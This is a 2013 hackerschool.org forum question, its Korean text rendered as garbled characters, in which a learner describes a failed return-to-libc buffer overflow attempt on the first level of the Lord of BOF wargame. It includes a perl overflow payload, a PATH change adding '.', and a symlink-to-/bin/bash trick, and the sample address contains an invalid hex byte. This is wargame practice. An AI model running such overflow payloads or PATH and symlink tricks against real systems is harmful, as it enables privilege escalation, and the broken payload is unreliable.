http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=3282 [º¹»ç]
Á¦°¡ °£´ÜÇÏ°Ô BOF¿¡ ´ëÇØ °øºÎ¸¦ Çѵڿ¡ Lord of BOF Red hatÀ» Ç®°Ô µÇ¾ú½À´Ï´Ù.
1´Ü°è¿¡¼ ¸·Çô¼ ³°ü¿¡ ºÀÂøÇÏ¿´´Âµ¥ Á¦°¡ ¸·Èù ºÎºÐÀº
ÀÏ´Ü bash ½©¿¡¼´Â 0xff°¡ Á¦´ë·Î ¸ÔÈ÷Áö ¾Ê´Â ´Ù´Â °ÍÀ¸·Î µé¾î¼,
/bin/bash2
·Î bash2 ½© ½ÇÇà ÈÄ Á¦°¡ °øÀ¯¶óÀ̺귯¸® System ÇÔ¼ö¸¦ È£ÃâÇؼ Ç®·Á°íÇ߱⠶§¹®¿¡ ȯ°æº¯¼ö¸¦
PATH=$PATH:.
À¸·Î Ãß°¡ÇØÁØ ÈÄ °øÀ¯¶óÀ̺귯¸®¸¦ ¿Ã·Á SystemÇÔ¼öÀÇ ¸Þ¸ð¸® ÁÖ¼Ò¸¦ ¾Ë¾Æ³½ ÈÄ (¿¹¸¦ µé¾î ÁÖ¼Ò°¡ a5a0e0g0 ¶ó°í °¡Á¤Çϸé
./gremlin `perl -e 'printf "A"*260 . "\xg0\xe0\xa0\xa5"'` 2> output
À¸·Î Ç¥ÁØ ¿¡·¯ ¸Þ¼¼Áö¸¦ output ÆÄÀÏ¿¡ Ãâ·ÂÇÏ¿©
xxd output
À¸·Î ³»¿ëÀ» ´ýÇÁÇؼ 3a20(:) ¿Í 3a20 »çÀÌÀÇ SystemÇÔ¼ö°¡ ½ÇÇàÇÏ´Â ½ºÅÃÀÇ ³»¿ëÀ» ÆÄÀÏ·Î ¸¸µé
¾ú½À´Ï´Ù. »çÀ̳»¿ëÀÌ bbff bfbf bffb bbbf ¿´´Ù¸é ÆÄÀÏÀ» ¸¸µé¶§´Â
ln -s /bin/bash `perl -e 'printf "\xbb\xff\xbf\xbf\xbf\xfb\xbb\xbf"'`
ÀÌ·±½ÄÀ¸·Î ½ºÅÃÀÇ ³»¿ëÀ» ±×´ë·Î ÆÄÀÏ·Î ¸¸µé¾î ȯ°æº¯¼ö Ãß°¡¸¦ ÅëÇØ bash½©ÀÌ ½ÇÇà µÇµµ·Ï ÇÏ°Ô ÇÏ´Â ¹æ½ÄÀ¸·Î Ç®·Á°í Çß½À´Ï´Ù. ÇÏÁö¸¸ ¿©±â¼ Á¦°¡ SystemÇÔ¼ö¿¡¼ ½ÇÇàÇÏ´Â ÆÄÀÏÀ» ½Éº¼¸¯ ¸µÅ©·Î ¸¸µé¾úÀ½¿¡µµ °è¼Ó ¾ø´Â ¸í·É¾î¶ó°í ³ª¿É´Ï´Ù. µµ¿ÍÁÖ¼¼¿ä. |
Hit : 1915 Date : 2013/01/11 05:03
|